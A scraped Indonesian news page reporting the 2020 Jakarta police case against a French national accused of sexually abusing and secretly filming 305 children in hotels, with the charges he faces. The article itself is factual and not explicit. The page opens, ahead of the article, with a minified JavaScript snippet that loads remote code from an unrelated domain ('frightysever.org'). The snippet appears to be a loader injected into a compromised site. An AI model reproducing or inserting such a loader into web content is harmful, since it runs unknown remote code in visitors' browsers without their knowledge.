(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

WN Perancis Cabuli 305 Anak di Hotel, Seluruh Korban Direkam Diam-diam


KANALKALIMANTAN.COM, JAKARTA – Direktorat Reserse Kriminal Umum Polda Metro Jaya mengungkap kasus eksploitasi secara ekonomi dan atau seksual (child sex groomer) terhadap 305 anak di bawah umur yang dilakukan seorang warga negara Perancis bernama Francois Abello Camille alias FAC (65).

Aksi bejad tersebut dilakukan FAC di sejumlah hotel yang berada di Jakarta Barat. Kapolda Metro Jaya Irjen Pol Nana Sudjana mengatakan kasus tersebut berhasil terungkap berdasar laporan dari masyarakat mengenai informasi adanya seorang WNA yang kerap melakukan aksi cabul bermodus menawarkan pemotretan kepada anak-anak di Hotel Prinsen Park, Mangga Besar, Jakarta Barat. Berdasar laporan tersebut polisi melakukan penyelidikan dan menangkap basah FAC tengah berada di dalam kamar hotel bersama dua anak perempuan di bawah umur dengan kondisi telanjang.

“Pada kamar tersebut penyidik mendapatkan WNA dalam kondisi setengah telanjang bersama dua anak telanjang dan setengah telanjang,” kata Nana saat jumpa pers di Polda Metro Jaya, Jakarta, Kamis (9/7/2020).

 

Nana mengemukakan, berdasar hasil penyelidikan diketahui bahwa tersangka FAC diduga telah mencabuli anak di bawah umur sebanyak 305 orang. Hal itu diketahui berdasar rekaman video aksi cabul FAC terhadap sejumlah korbannya yang tersimpan di laptop miliknya.

“Ini berdasarkan data video yang ada di laptop dalam bentuk film. Jadi seluruh data (korban) yang ada, pelaku videokan. Ada (kamera) video yang tersembunyi dikamar ketika (pelaku) melakukan actionnya,” ungkap Nana.

Saat melakukan penangkapan, Nana merincikan pihaknya turut menyita sejumlah barang bukti. Beberapa barang bukti yang disita diantaranya; 21 kostum yang dipakai korban untuk pemotretan dan pembuatan video cabul, enam kamera, satu laptop, enam memory card, 20 kondom, dan dua alat bantu seks atau vibrator.

Atas perbuatannya, tersangka FAC dijerat dengan pasal berlapis. Beberapa pasal yang diperkenankan kepada FAC, yakni Pasal 81 Jo 76D UU RI No.17 Tahun 2016 tentang Perlindungan Anak dengan pidana penjara paling singkat 5 tahun atau maksimal 15 tahun dan denda maksimal Rp 5 miliar.

Kemudian, Pasal 81 ayat (5) Jo 76D UU RI No.1 tahun 2016 tentang perubahan kedua atas UU RI. No. 23 Tahun 2002 tentang Perlindungan Anak dengan pidana penjara mati, seumur hidup, atau pidana penjara paling singkat 10 tahun dan paling lama 20 tahun dan dapat dikenai tindakan kebiri kimia.

Selanjutnya, Pasal 82 Jo 76E UU RI No.17 tahun 2016 tentang Perlindungan Anak dengan pidana penjara paling singkat 5 tahun maksimal 15 tahun dan denda maksimal Rp 5 Miliar. (suara)

 

Reporter : Suara
Editor : Suara

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

5 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

7 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

8 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

9 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

11 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

13 jam ago

This website uses cookies.